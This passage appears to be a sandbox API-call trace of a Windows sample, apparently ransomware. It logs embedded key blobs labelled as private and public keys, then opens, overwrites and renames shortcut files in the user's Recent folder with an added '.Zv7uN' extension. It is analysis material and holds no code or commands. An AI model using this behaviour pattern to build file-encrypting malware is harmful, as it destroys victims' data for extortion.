DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0082.952] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0082.953] GetCurrentThreadId () returned 0xa30 [0082.953] GetCurrentThreadId () returned 0xa30 [0082.953] GetCurrentThreadId () returned 0xa30 [0082.954] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0082.954] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0082.954] GetCurrentThreadId () returned 0xa30 [0082.954] GetCurrentThreadId () returned 0xa30 [0082.954] GetCurrentThreadId () returned 0xa30 [0082.954] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\QSsqvzc.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\qssqvzc.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0082.955] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0082.955] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0082.955] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x3e1 [0082.955] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0082.955] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0x3e1, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0x3e1, lpOverlapped=0x0) returned 1 [0082.957] CloseHandle (hObject=0x124) returned 1 [0082.957] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\QSsqvzc.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\qssqvzc.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0082.958] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0x3e1, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0x3e1, lpOverlapped=0x0) returned 1 [0082.959] CloseHandle (hObject=0x124) returned 1 [0082.965] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\QSsqvzc.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\qssqvzc.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\QSsqvzc.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\qssqvzc.lnk.zv7un")) returned 1 [0083.024] GetCurrentThreadId () returned 0xa30 [0083.024] GetCurrentThreadId () returned 0xa30 [0083.024] GetCurrentThreadId () returned 0xa30 [0083.024] GetCurrentThreadId () returned 0xa30 [0083.024] GetCurrentThreadId () returned 0xa30 [0083.024] GetCurrentThreadId () returned 0xa30 [0083.024] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf74e4a0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf74e4a0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf74e4a0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x3f7, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="reeFNQzvLCz.lnk", cAlternateFileName="REEFNQ~1.LNK")) returned 1 [0083.024] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0083.024] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0083.024] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\reeFNQzvLCz.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\reefnqzvlcz.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf74e4a0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf74e4a0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf74e4a0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x3f7)) returned 1 [0083.025] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\reeFNQzvLCz.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\reefnqzvlcz.lnk")) returned 0x20 [0083.025] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\reeFNQzvLCz.lnk", dwFileAttributes=0x80) returned 1 [0083.029] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0083.029] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw